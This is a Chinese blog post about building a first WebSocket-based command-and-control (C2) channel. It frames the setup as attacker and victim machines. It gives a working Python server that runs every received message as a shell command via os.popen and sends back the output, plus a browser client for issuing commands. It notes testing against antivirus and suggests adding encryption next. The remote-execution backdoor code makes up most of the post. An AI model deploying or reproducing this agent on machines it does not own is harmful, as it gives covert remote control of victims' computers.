第一个c2通信脚本

  1. 0x00前言
  2. 0x01正文

0x00前言

这几天在学校的实验室折腾c2通信。从一开始的不懂后面慢慢弄懂了,所谓的c2通信原理
是基于websocket上的操作。
68747470733a2f2f646c2e64726f70626f7875736572636f6e74656e742e636f6d2f732f327a6e6e6e373469637a646a6275732f6172636869746563747572652e6a70673f646c3d30

0x01正文

原理:

1.控制器运行Web / WebSocket服务器以及命令行界面,允许攻击者为代理输入命令
2.代理程序在受害者的计算机上运行并执行从C2接收的任何指令,与处理与C2服务器的所有通信的浏览器进程交互
3.通过COM接口控制的浏览器进程(Internet Explorer / Edge)通过WebScoket通道处理代理与C2服务器之间的所有通信

连接过程

第一种:
1.创建websocket然后调用js进行连接
2.将创建好的websocket放入到受害者机子
3.本地调用js连接然后执行命令由受害者端接收到进行命令执行在返回给攻击者

第二种:
1.在肉鸡上创建websocket
2.然后受害者连接,然后攻击者访问肉鸡执行命令
3.受害者接收到执行命令,然后返回给肉鸡

代码
服务端

import asyncio
import websockets
import os
import sys
async def hello(websocket,path):
    try:
        while True:
            name = await websocket.recv() #接收客户端的信息
            zx=os.popen(name) #执行命令
            await websocket.send(zx.read()) #返回给客户端
    except Exception as r:
        print('[-] Error {}'.format(r))


start_server=websockets.serve(hello,'{}'.format(sys.argv[1]),sys.argv[2]) #创建websocket
asyncio.get_event_loop().run_until_complete(start_server) #异步
asyncio.get_event_loop().run_forever()

客户端

<html>
<head>
    <meta charset="UTF-8">
    <title>Web sockets test</title>
    <script src="jquery-min.js" type="text/javascript"></script>
    <script type="text/javascript">
        var ws;
        function ToggleConnectionClicked() {          
                try {
                    ws = new WebSocket("ws://IP:PORT");//连接服务器 (连接websocket服务器)
                    ws.onopen = function(event){alert("已经与服务器建立了连接\r\n当前连接状 (连接成功后触发的事件)态:"+this.readyState);};
                    ws.onmessage = function(event){alert("接收到服务器发送的数据:\r\n"+event.data);}; (接收到数据触发的事件)
                    ws.onclose = function(event){alert("已经与服务器断开连接\r\n当前连接状态:"+this.readyState);};  //异常触发的事件
                    ws.onerror = function(event){alert("WebSocket异常!");};
                } catch (ex) {
                    alert(ex.message);      
                }
        };

        function SendData() {
            try{
                var content = document.getElementById("content").value;
                if(content){
                    ws.send(content);
                }

            }catch(ex){
                alert(ex.message);
            }
        };

        function seestate(){
            alert(ws.readyState);
        }

    </script>
</head>
<body>
   <button id='ToggleConnection' type="button" onclick='ToggleConnectionClicked();'>连接服务器</button><br /><br />
   <textarea id="content" ></textarea>
    <button id='ToggleConnection' type="button" onclick='SendData();'>发送我的名字:beston</button><br /><br />
    <button id='ToggleConnection' type="button" onclick='seestate();'>查看状态</button><br /><br />

</body>
</html>

测试
FU1PvF.jpg

FU1Fu4.md.png

在安有360的机子上进行测试:
视频:c2通信实现—其他—视频高清在线观看-优酷

一些c2的项目
GitHub - nettitude/PoshC2: Powershell C2 Server and Implants
GitHub - Arno0x/WSC2: A WebSocket C2 Tool
参考文章
Using WebSockets and IE/Edge for C2 communications – arno0x0x

github地址:python/c2项目 at master · 422926799/python · GitHub

后续开发的一些建议

1.实现以上说的方法
2.加密传输

转载请注明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:第一个c2通信脚本

本文作者:九世

发布时间:2018-12-14, 18:13:48

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/d6f76024.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录